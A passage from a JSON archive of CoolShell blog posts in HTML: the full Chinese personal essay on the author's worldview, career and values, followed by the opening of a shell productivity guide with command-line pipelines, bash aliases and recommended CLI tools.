src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20533.html\">使用简单的逻辑方法进行独立思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-2-26 谈谈我的“三观”.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium\" height=\"200\" src=\"../wp-content/uploads/2019/02/cross.road_-300x200.jpg\" width=\"300\"/>也许是人到了四十多了，敢写这么大的命题，我也醉了，不过，我还是想把我的想法记录下来，算是对我思考的一个snapshot，给未来的我看看，要么被未来的我打脸，要么打未来我的脸。无论怎么样，我觉得对我自己都很有意义。注意，这篇文章是长篇大论。</p>\n<p>三观是世界观、人生观和价值观，</p>\n<ul>\n<li><strong>世界观代表你是怎么看这个世界的。</strong>是左还是右，是激进还是保守，是理想还是现实，是乐观还是悲观……</li>\n<li><strong>人生观代表你要想成为什么样的人。</strong>是成为有钱人，还是成为人生的体验者，是成为老师，还是成为行业专家，是成为有思想的人，还是成为有创造力的人……</li>\n<li><strong>价值观则是你觉得什么对你来说更重要</strong>。是名是利，是过程还是结果，是付出还是索取，是国家还是自己，是家庭还是职业……</li>\n</ul>\n<p>人的三观其实是会变的，回顾一下我的过去，我感觉我的三观至少有这么几比较明显的变化，学生时代、刚走上社会的年轻时代，三十岁后的时代，还有现在。估计人都差不多吧……</p>\n<ul>\n<li>学生时代的三观更多的是学校给的，用各种标准答案给的，是又红又专的</li>\n<li>刚走上社会后发现完全不是这么一回事，但学生时代的三观根深蒂固，三观开始分裂，内心开始挣扎</li>\n<li>三十岁后，不如意的事越来越多，对社会越来越了解，有些人屈从现实，有些人不服输继续奋斗，而有些人展露才能开始影响社会，而分裂的三观开始收敛，我属于还在继续奋斗的人。</li>\n<li>四十岁时，经历过的事太多，发现留给自己的时间不多，世界太复杂，而还有好多事没做，从而变得与世无争，也变得更为地自我。</li>\n</ul>\n<p><span id=\"more-19085\"></span></p>\n<h4>面对世界</h4>\n<p>年轻的时候，抵制过日货，虽然没上过街，但是也激动过，一次是1999南斯拉夫大使馆被炸，一次是2005反日示威，以前，我也是一个爱国愤青。但是后来，有过各种机会出国长时间生活工作，加拿大、英国、美国、日本……随着自己的经历和眼界的开阔，自己的三观自己也随着有了很多的变化，发现有些事并不是自己一开始所认识的那样，而且还是截然相反的。<strong>我深深感觉到，要有一个好的世界观，你需要亲身去经历和体会这个世界，而不是听别人说</strong>。所以，当我看到身边的人情绪激动地要抵制这个国家，搞死那个民族的时候，我都会建议他去趟那个国家最好在在那个国家呆上一段时间，亲自感受一下。</p>\n<p>再后来发现，要抵制的越来越多，小时候的美英帝国主义，然后是日本，再后面是法国、韩国、菲利宾、印度、德国、瑞典、加拿大……从小时候的台独到现在的港独、藏独、疆独……发现再这样下去，基本上来说，自己的人生也不用干别的事了……另外，随着自己的成长，越来越明白，<strong>抵制这个抵制那个只不过是幼稚和狭隘的爱国主义，真想强国，想别让他人看得起，就应该把时间和精力放在努力学习放在精益求精上，做出比他们更好的东西来。</strong>另外，感觉用对内的爱国主义解决对外的外交问题也有点驴唇不对马嘴，无非也就是转移一下内部的注意力罢了，另外还发现爱国主义还可以成为消费营销手段……<strong>不是我不爱国，是我觉得世道变复杂了，我只是一个普通的老百姓，能力有限，请不要赋予我那么大的使命，我只想在我的专业上精进，能力所能及地帮助身边的人，过一个简单纯粹安静友善的生活</strong>……</p>\n<p>另外，为什么国与国之间硬要比个你高我低，硬要分个高下，硬要争出个输赢，我也不是太理解，世界都已经发展到全球化的阶段了，很多产品早就是你中有我，我中有你的情况了。举个例子，一部手机中的元件，可能来自全世界数十个国家，我们已经说不清楚一部手机是究竟是哪个国家生产的了。即然，整个世界都在以一种合作共赢全球化的姿态下运作，认准自己的位置，拥抱世界，持续向先进国家学习，互惠互利，不好吗？你可能会说，不是我们不想这样，是别人不容我们发展……<strong>老实说，大的层面我也感受不到，但就我在的互联网计算机行业方面，我觉得整个世界的开放性越来越好，开源项目空前地繁荣，世界上互联网文化也空前的开放，在计算机和互联网行业，我们享受了太多的开源和开放的红利，人家不开放，我们可能在很多领域还落后数十年。然而现在很多资源我们都访问不了，用个VPN也非法，你说是谁阻碍了发展？我只想能够流畅地访问互联网，让我的工作能够更有效率，然而，我在自己的家里却像做贼一样去学习新知识新技术，随时都有可能被抓进监狱……</strong></p>\n<p>随着自己的经历越多，发现这个世界越复杂，也发现自己越渺小，很多国家大事并不是我不关心，是我觉得那根本不是我这个平头老百姓可以操心的事，这个世界有这个世界运作的规律和方法，而还有很多事情超出了我能理解的范围，也超出了我能控制的范围，我关心不关心都一个样，这些大事都不会由我的意志所决定的。而所谓的关心，无非就是喊喊口号，跟人争论一下，试图改变其它老百姓的想法，然而，对事情的本身的帮助却没有多大意义。过上几天，生活照旧，人家该搞你还不是继续搞你，而你自己并不因为做这些事而过得更好。</p>\n<p><strong>我对国与国之间的关系的态度是，有礼有节，不卑不亢，对待外国人，有礼貌但也要有节气，既不卑躬屈膝，也不趾高气昂</strong>，整体上，我并不觉得我们比国外有多差，但我也不觉得我们比国外有多好，我们还在成长，还需要帮助和协作，四海之内皆兄弟，无论在哪个国家，在老百姓的世界里，哪有那么多矛盾。<strong>有机会多出去走走，多结交几个其它民族的朋友，你会觉得，在友善和包容的环境下，你的心情和生活可以更好</strong>。</p>\n<p>我现在更多关心的是和我生活相关的东西，比如：上网、教育、医疗、食品、治安、税务、旅游、收入、物价、个人权益、个人隐私……这些东西对我的影响会更大一些，也更值得关注，可以看到过去的几十年，我们国家已经有了长足的进步，这点也让我让感到很开心和自豪的，在一些地方也不输别人。但是，依然有好些事的仍然没有达到我的预期，而且还很糟糕，这个也要承认。而对，未来的变数谁也不好说，我在这个国度里的安全感似乎还不足够，所以，我还是要继续努力，以便我可以有更多的选项。有选项总比没得选要好。所以，<strong>我想尽一切办法，努力让选项多起来，无法改变无法影响，那就只能提高自己有可选择的可能性</strong>。</p>\n<h4>面对社会</h4>\n<p>另外，在网上与别人对一些事或观点的争论，我觉得越来越无聊，以前被怼了，一定要怼回去，现在不会了，视而不见，不是怕了，是因为，网络上的争论在我看来大多数都是些没有章法，逻辑混乱的争论。</p>\n<ul>\n<li>很多讨论不是说事，直接就是怼人骂人。随意就给人扣个帽子。</li>\n<li>非黑即白的划分，你说这个不是黑的，他们就把你划到白的那边。</li>\n<li>飘移观点，复杂化问题。东拉西扯，牵强附会，还扯出其它不相关的事来混淆。</li>\n<li>杠精很多，不关心你的整体观点，抓住一个小辫子大作文章。</li>\n</ul>\n<p>很明显，<strong>与其花时间教育这些人，不如花时间提升自己，让自己变得更优秀，这样就有更高的可能性去接触更聪明更成功更高层次的人</strong>。因为，一方面，你改变不了他们，另外，改变他们对你自己也没什么意义，改变自己，提升自己，让自己成长才有意义。时间是宝贵的，那些人根本不值得花时间，应该花时间去结交更有素质更聪明的人，做更有价值的事。</p>\n<p>美国总统富兰克林·罗斯福妻子埃莉诺·罗斯福（Eleanor Roosevelt）说过下面的一句话。</p>\n<blockquote><p><strong>Great minds discuss ideas;<br/>\nAverage minds discuss events;<br/>\nSmall minds discuss people</strong></p></blockquote>\n<p>把时间多放在一些想法上，对自己对社会都是有意义的，把时间放在八卦别人，说长到短，你也不可能改善自己的生活，<strong>你批评这个批评那个，看不上这个看不起那个，不会让你有成长，也不会提升你的影响力，你的影响力不是你对别人说长道短的能力，而是别人信赖你并希望得到你的帮助的现象</strong>。多交一些有想法的朋友，多把自己的想法付诸实践，那怕没有成功，你的人生也会比别人过得有意义。</p>\n<p>如果你看过我以前的文章，你会看到一些吐槽性质的文章，而后面就再也没有了。另外，我也不再没有针对具体的某个人做出评价，因为人太复杂的了，经历的越多，你就会发现你很难评价人，与其花时间在评论人和事上，不如把时间花在做一些力所能及的事来改善自己或身边的环境。所以，<strong>我建议大家少一些对人的指责和批评，通过对一件事来引发你的思考，想一想有什么可以改善，有什么方法可以做得更好，有哪些是自己可以添砖加瓦的？你会发现，只要你坚持这么做，你个人的提升和对社会的价值会越来越大，而你的影响力也会越来越大</strong>。</p>\n<h4>面对人生</h4>\n<p>现在的我，即不是左派也不是右派，我不喜欢爱国主义，我也不喜欢崇洋媚外，我更多的时候是一个自由派，哪边我都不站，我站我自己。因为，生活在这样的一个时代，能让自己过好都是一些比较奢望的事了。</p>\n<p>《教父》里有这样的人生观：<strong>第一步要努力实现自我价值，第二步要全力照顾好家人，第三步要尽可能帮助善良的人，第四步为族群发声，第五步为国家争荣誉。事实上作为男人，前两步成功，人生已算得上圆满，做到第三步堪称伟大，而随意颠倒次序的那些人，一般不值得信任</strong>。这也是古人的“修身齐家治国平天下”！所以，在你我准备要开始要“平天下”的时候，也得先想想，自己的生活有没有过好了，家人照顾好了么，身边有哪些力所能及的事是可以去改善的……</p>\n<p>穷则独善其身，达则兼济天下。提升自己，实现自我，照顾好自己的家人，帮助身边的人。这已经很不错了！</p>\n<p>什么样的人干什么样的事，什么样的阶段做什么样的选择，<strong>有人的说，选择比努力更重要的，我深以为然，而且，我觉得选择和决定，比努力更难</strong>，努力是认准了一个事后不停地发力，而决定要去认准哪个事是自己该坚持努力的，则是令人彷徨和焦虑的（半途而废的人也很多）。面对人生，你每天都在作一个一个的决定，在做一个又一个的选择，有的决定大，有的决定小，你的人生的轨迹就是被这一个一个的决定和选择所走走出来的。</p>\n<p>我在24岁放弃了一房子离开银行到小公司的时候，我就知道，人生的选择就是一个翘翘板，你要一头就没有另一头，<strong>选择是有代价的，你不选择的代价更大；选择是要冒险的，你不敢冒险的风险更大；选择是需要放弃的，因为无论怎么选你都会要放弃。想想你老了以后，回头一看，好多事情在年轻的时候都不敢做，而你再也没有机会，你就知道不敢选择不敢冒险的代价有多大了。</strong>选择就是一种 trade-off，这世上根本不会有什么完美，只要你想做事，你有雄心壮志，你的人生就是一个坑接着一个坑，你所能做的就是找到你喜欢的方向跳坑。</p>\n<p>所以， 你要想清楚你要什么，不要什么，而且还不能要得太多，这样你才好做选择。否则，你影响你的因子太多，决定不好做，也做不好。</p>\n<p>就像最前面说的一样，你是激进派还是保守派，你是喜欢领导还是喜欢跟从，你是注重长期还是注重短期，你是注重过程还是注重结果……等等，你对这些东西的坚持和守护，成为了你的“三观”，而你的三观则影响着你的选择，而你的选择影响着你的人生。</p>\n<h4>价值取向</h4>\n<p>下面是一些大家经常在说，可能也是大多数人关心的问题，就这些问题，我也谈谈我的价值取向。</p>\n<p><strong>挣钱</strong>。挣钱是一个大家都想做的事，但你得解决一个很核心的问题，那就是为什么别人愿意给你钱？对于挣钱的价值观从我大学毕业到现我就没怎么变过，那就是我更多关注的是怎么提高自己的能力，让自己值那个价钱，让别人愿意付钱。另外一方面，我发现，<strong>越是有能力的人，就越不计较一些短期得失，越计较短期得失的人往往都是很平庸的人</strong>。有能力的人不会关心自己的年终奖得拿多少，会不会晋升，他们更多的关心自己真正的实力有没有超过更多的人，更多的关注的是自己长远的成长，而不是一时的利益。聪明的人从来不关心眼前的得失，不会关心表面上的东西，他们更多关心的是长期利益，关心长期利益的人一定不是投机者，一定是投资者，<strong>投资会把自己的时间精力金钱投资在能让自己成长和提升的地方，那些让自己可以操更大的盘的地方，他们培养自己的领导力和影响力。</strong>而投机者在职场上会通过溜须拍马讨好领导，在学习上追求速成，在投资上使用跟随策略，在创业上甚至会不择手段，当风险来临时，投机者是几乎完全没有抗风险能力的，他们所谓的能力只不过因为形势好。</p>\n<p> </p>\n<p><strong>技术</strong>。对于计算机技术来说，要学的东西实在是太多，我并不害怕要学的东西很多，因为学习能力是一个好的工程师必需具备的事，我不惧怕困难和挑战。我觉得在语言和技术争论谁好谁坏是一种幼稚的表现， 没有完美的技术，Engineering 玩的是 Tradeoff。所以，我对没有完美的技术并不担心，但是我反而担心的是，当我们进入到一些公司后，这些公司会有一些技术上的沉淀也就是针对公司自己的专用技术，比如一些中间件，一些编程框架，lib库什么的。老实说，我比较害怕公司的专用技术，因为一旦失业，我建立在这些专用技术上的技能也会随之瓦解，有时候，我甚至害怕把我的技术建立在某一个平台上，小众的不用说了，大众的我也比较担扰，比如Windows或Unix/Linux上，因为一旦这个平台不流行或是被取代，那么我也会随之淘汰（过去的这20年已经发生过太多这样的事了）。为了应对这样的焦虑，<strong>我更愿意花时间在技术的原理和技术的本质上，这导致我需要了解各种各样的技术的设计方法，以及内在原理。</strong>所以，当国内的绝大多数程序员们更多的关注架构性能的今天，我则花更多的时间去了解编程范式，代码重构，软件设计，计算机系统原理，领域设计，工程方法……因为只有原理、本质和设计思想才可能让我不会被绑在某个专用技术或平台上，除非，我们人类的计算机这条路没走对。</p>\n<p> </p>\n<p><strong>职业</strong>。在过去20多年的职业生涯中，我从基层工程师做到管理，很多做技术的人都会转管理，但我却还是扎根技术，就算是在今天，还是会抠很多技术细节，包括写代码。因为我心里觉得，不写代码的人一定是做不好技术管理的，因为做技术管理有人要做技术决定，从不上手技术的人是做不好技术决定的，另一方面，我觉得管理是支持性的工作，不是产出性的工作，大多数的管理者无非是因为组织大了，所以需要管人管事，所以，必然要花大量的时间和精力处理各种问题，甚至办公室政治，然而，如果有一天失业了，大环境变得不好了，一个管理者和一个程序员要出去找工作，程序员会比管理者更能自食其力。所以，我并不觉得管理者这个职业有意思，我还是觉得程序员这个有创造性的职业更有趣。<strong>通常来说，管理者的技能力需要到公司和组织里才能展现，而有创造力的技能的人是可以自己独立的能力，所以，我觉得程序员的技能比管理者的技能能让我更稳定更自地活着</strong>。所以，我更喜欢“<a href=\"https://coolshell.cn/articles/4951.html\" rel=\"noopener noreferrer\" target=\"_blank\">电影工作组</a>”那样的团队和组织形式。</p>\n<p> </p>\n<p><strong>打工</strong>。对于打工，也就是加入一家公司工作，无论是在一家小公司还是一家大公司工作，都会有好的和不好的，任何公司都有其不完美的地方，这个需要承认。首先第一的肯定是完成公司交给你的任务（但我也不会是傻傻地完成工作，对于一些有问题的任务我也会提出我的看法），然后我会尽我所能在工作找到可以提高效率的地方进行改善。在推动公司/部门/团队在一技术和工程方面进步并不是一件很容易的事，因为进步是需要成本的，有时候，这种成本并不一定是公司和团队愿意接受的，而另外，从客观规律上来说，一件事的进步一定是会有和现状有一些摩擦的。有的人害怕有摩擦而忍了，而我则不是，我觉得与别人的摩擦并不可怕，因为大家的目标都是基本一致的，只是做事的标准和方式不一样，这是可能沟通的，始终是会相互理解的。而如果你没有去推动一个事，我觉得对于公司对于我个人来说，都是一种对人生的浪费，敬业也好，激情也好，其就是体现在你是否愿意冒险去推动一件于公于私都有利的事，而不是成为一个“听话”、“随大流”、“懒政”的人，即耽误了公司也耽误了自己。所以，我更信仰的是《<a href=\"http://www.aqee.net/post/do-the-right-thing-wait-to-get-fired.html\" rel=\"noopener noreferrer\" target=\"_blank\">做正确的事情，等着被开除</a>》，这些东西，可参看《<a href=\"https://coolshell.cn/articles/17972.html\" rel=\"noopener noreferrer\" target=\"_blank\">我看绩效考核</a>》，以及我在<a href=\"https://mp.weixin.qq.com/s?__biz=MzUyOTA1NTkzNw==&amp;mid=2247484417&amp;idx=1&amp;sn=316f9f6d6ac7cdca97123815a67a665a&amp;chksm=fa67adafcd1024b948caed0e5528c4817a7ef2b1b1a3ab8da34e0ff4231b28c2659ee9951112#rd\" rel=\"noopener noreferrer\" target=\"_blank\">Gitchat上的一些问答</a>。</p>\n<p> </p>\n<p><strong>创业</strong>。前两天，有个小伙来跟我说，说他要离开BAT要去创业公司了，说在那些更自由一些，没有大公司的种种问题。我毫不犹豫地教育了他一下，我说，你选择这个创业公司的动机不对啊，你无非就是在逃避一些东西罢了，你把创业公司当做是一个避风港，这是不对的，创业公司的问题可能会更多，去创业公司的更好的心态是，这个创业公司在干的事业是不是你的事业？说白了，如果你是为了你的事业，为了解决个什么，为了改进个什么，那么，创业是适合你的，<strong>也只有在做自己事业的时候，你才能不惧困难，才会勇敢地面对一切</strong>。<strong>那种想找一个安稳的避风港呆着的心态是不会让你平静地，你要知道世界本来就是不平静的，找了自己的归宿和目标才可能让你真正的平静</strong>。所以，在我现的创业团队，我不要求大家加班，我也不鸡汤洗脑，对于想要加入的人，我会跟他讲我现在遇到的各种问题以及各种机遇，并一直在让他自己思考，我们在做的事是不是自己的事业诉求？还可不可以更好？<strong>每个人都应该为自己的事业为自己的理想去活一次，追逐自己的事业和理想并不容易，需要有很大的付出，而也只有你心底里的那个理想值得这么大的付出</strong>……</p>\n<p> </p>\n<p><strong>客户</strong>。基于上述的价值观，在我现在创业的时候，我在面对客户的时候，也是一样的，我并不会完全的迁就于客户，我的一些银行客户和互联网客户应该体会到我的做的方式了，我并不觉得迁就用户，用户要什么我就应该给什么，用户想听什么，我就说什么，虽然这样可以省着精力，更圆滑，但这都不是我喜欢的，<strong>我更愿意鲜明地表达我的观点，并拉着用户跟我一起成长，因为我并不觉得完成客户的项目有成就感，我的成就感来自客户的成长</strong>。所以，面对客户有些做得不对有问题有隐患的地方，或是有什么做错的事，我基本上都是直言不讳地说出来，因为我觉得把真实的相法说出来是对客户和对自己最基本的尊重，不管客户最终的选择是什么，我都要把利弊跟客户讲清楚。我并不是在这里装，因为，我也想做一些更高级更有技术含量的事，所以，对于一些还达到的客户，我如果不把他们拉上来，我也对不起自己。</p>\n<p> </p>\n<p>在我“不惑之年”形成了这些价值观体系，也许未来还会变，也许还不成熟，总之，我不愿跟大多数人一样，因为大多数人都是随遇而安随大流的，因为这样风险最小，而我想走一条属于自己的路，做真正的自己，就像我24岁从银行里出来时想的那样，<strong>我选择对了一个正确的专业（计算机科学），呆在了一个正确的年代（信息化革命），这样的“狗屎运”几百年不遇，如果我还患得患失，那我岂不辜负活在这样一个刺激的时代？！我所要做的就是在这个时代中做有价值的事就好了！这个时代真的是太好了！</strong></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19085.html\">谈谈我的“三观”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-3-17 打造高效的工作环境 – Shell 篇.html",
    "content": "<html><body><p></p>\n<blockquote><p><strong>注：本文由<a href=\"https://github.com/rayjun\" rel=\"noopener noreferrer\" target=\"_blank\">雷俊</a>(Javaer/Emacser)和我一起编辑，所以文章版权归雷俊与我共同所有，转载者必需注明出处和我们两位作者。原文最早发于酷壳微信公众号，后来我又做了一些修改，再发到博客这边。</strong></p></blockquote>\n<p><img alt=\"\" class=\"alignright size-full wp-image-19230\" height=\"220\" src=\"../wp-content/uploads/2019/03/linux.ninja_.png\" width=\"255\"/>程序员是一个很懒的群体，总想着能够让代码为自己干活，他们不断地把工作生活中的一些事情用代码自动化了，从而让整个社会的效率运作地越来越高。所以，程序员在准备去优化这个世界的时候，都会先要优化自己的工作环境，是所谓“工欲善其事，必先利其器”。</p>\n<p>我们每个程序员都应该打造一套让自己更为高效的工作环境。那怕就是让你少输入一次命令，少按一次键，少在鼠标和键盘间切换一次，都会让程序员的工作变得更为的高效。所以，程序员一般需要一台性能比较好，不会因为开了太多的网页或程序就卡得不行的电脑，还要配备多个显示器，一个显示器写代码，一个查文档，一个测试运行结果，而不必在各种窗口来来回回的切换……在大量的窗口间切换经常会迷路，而且也容易出错（分不清线上或测试环境）……</p>\n<p>除了硬件上的装备，软件上也是能够提升程序员生产力的地方，<strong>在软件层面提升程序员生产力的东西有一个很重要的事就是命令行和脚本</strong>，使用鼠标和图形界面则会大大降低程序员的生产力。酷壳以前也写过一些，如《<a href=\"https://coolshell.cn/articles/8619.html\" rel=\"noopener noreferrer\" target=\"_blank\">你可能不知道的Shell</a>》和《 <a href=\"https://coolshell.cn/articles/8883.html\" rel=\"noopener noreferrer\" target=\"_blank\">应该知道的Linux技巧</a>》，但是Unix/Linux Shell就是一个大宝库，怎么写也写不完，不然，怎么会有“Where is the Shell, there is a way”。</p>\n<p><span id=\"more-19219\"></span></p>\n<h4>命令行</h4>\n<p>在不同的操作系统下，都有着很不错的命令行工具，比如 Mac 下的 <strong>Iterm2</strong>，Linux 下的原生命令行，如果你是在 Windows 下工作，问题也不大，因为 Windows 下现在有了 <strong>WSL</strong>。WSL 提供了一个由微软开发的Linux兼容的内核接口（不包含Linux内核代码），然后可以在其上运行GNU用户空间，例如 Ubuntu，openSUSE，SUSE Linux Enterprise Server，Debian和Kali Linux。这样的用户空间可能包含 Bash shell 和命令语言，使用本机 GNU/Linux 命令行工具（sed，awk 等），编程语言解释器（Ruby，Python 等），甚至是图形应用程序（使用主机端的X窗口系统）。</p>\n<p>使用命令行可以完成所有日常的操作，新建文件夹（mkdir）、新建文件（touch）、移动（mv）、复制（cp）、删除（rm）等等。而且使用 Linux/Unix 命令行最好的方式是可以用 <code>awk</code>、<code>sed</code>、<code>grep</code>、<code>xargs</code>、<code>find</code>、<code>sort</code> 等等这样的命令，然后用管道把其串起来，就可以完成一个你想要的功能，尤其是一些简单的数据统计功能。这是Linux命令行不可比拟的优势。比如：</p>\n<ul>\n<li>查看连接你服务器 top10 用户端的 IP 地址：</li>\n</ul>\n<p><code>netstat -nat | awk '{print $5}' | awk -F ':' '{print $1}' | sort | uniq -c | sort -rn | head -n 10</code></p>\n<ul>\n<li>查看一下你最常用的10个命令：</li>\n</ul>\n<p><code>cat .bash_history | sort | uniq -c | sort -rn | head -n 10 (or cat .zhistory | sort | uniq -c | sort -rn | head -n 10</code></p>\n<p>（注：<code>awk</code> 和 <code>sed</code> 是两大神器，所以，我以前的也有两篇文章来介绍它们——《<a href=\"https://coolshell.cn/articles/9070.html\" rel=\"noopener noreferrer\" target=\"_blank\">awk简明教程</a>》和《<a href=\"https://coolshell.cn/articles/9104.html\" rel=\"noopener noreferrer\" target=\"_blank\">sed简明教程</a>》，你可以前往一读）</p>\n<p>在命令行中使用 <strong>alias</strong> 可以将使用频率很高命令或者比较复杂的命令合并成一个命令，或者修改原生的命令。</p>\n<p>下面这几个命令，可能是你天天都在敲的。所以，你应该设置成 alias 来提高效率</p>\n<pre class=\"EnlighterJSRAW\">\nalias nis=\"npm install --save \"\nalias svim='sudo vim'\nalias mkcd='foo(){ mkdir -p \"$1\"; cd \"$1\" }; foo '\nalias install='sudo apt get install'\nalias update='sudo apt-get update; sudo apt-get upgrade'\nalias ..=\"cd ..\"\nalias ...=\"cd ..; cd ..\"\nalias www='python -m SimpleHTTPServer 8000'\nalias sock5='ssh -D 8080 -q -C -N -f user@your.server'\n</pre>\n<p>你还可以参考如下的一些文章，看看别人是怎么用好 <code>alias</code> 的</p>\n<ul>\n<li><a href=\"https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html\" rel=\"nofollow\">30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X</a></li>\n<li><a href=\"https://www.digitalocean.com/community/questions/what-are-your-favorite-bash-aliases\" rel=\"nofollow\">What are your favorite bash aliases?</a></li>\n<li><a href=\"https://www.linuxtrainingacademy.com/23-handy-bash-shell-aliases-for-unix-linux-and-mac-os-x/\" rel=\"nofollow\">23 Handy Bash Shell Aliases For Unix, Linux, and Mac OS X</a></li>\n<li><a href=\"https://brettterpstra.com/2013/03/31/a-few-more-of-my-favorite-shell-aliases/\" rel=\"nofollow\">A few more of my favorite Bash aliases</a></li>\n</ul>\n<p>命令行中除了原生的命令之外，还有很多可以提升使用体验的工具。下面罗列一些很不错的命令，把原生的命令增强地很厉害:</p>\n<ul>\n<li><a href=\"https://github.com/clvv/fasd\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>fasd</strong></a> 增强了 <code>cd</code> 命令 。</li>\n<li><a href=\"https://github.com/sharkdp/bat\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>bat</strong></a> 增强了 <code>cat</code> 命令 。如果你想要有语法高亮的 <code>cat</code>，可以试试 <a href=\"https://github.com/jingweno/ccat\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>ccat</strong></a> 命令。</li>\n<li><a href=\"https://github.com/ogham/exa\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>exa</strong></a> 增强了 <code>ls</code> 命令，如果你需要在很多目录上浏览各种文件 ，<a href=\"https://github.com/ranger/ranger\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>ranger</strong></a> 命令可以比 <code>cd</code> 和 <code>cat</code> 更有效率，甚至可以在你的终端预览图片。</li>\n<li><a href=\"https://github.com/sharkdp/fd\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>fd</strong></a> 是一个比 <code>find</code> 更简单更快的命令，他还会自动地忽略掉一些你配置在 <code>.gitignore</code> 中的文件，以及 <code>.git</code> 下的文件。</li>\n<li><a href=\"https://github.com/junegunn/fzf\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>fzf</strong></a> 会是一个很好用的文件搜索神器，其主要是搜索当前目录以下的文件，还可以使用 <code>fzf --preview 'cat {}'</code>边搜索文件边浏览内容。</li>\n<li><code>grep</code> 是一个上古神器，然而，<a 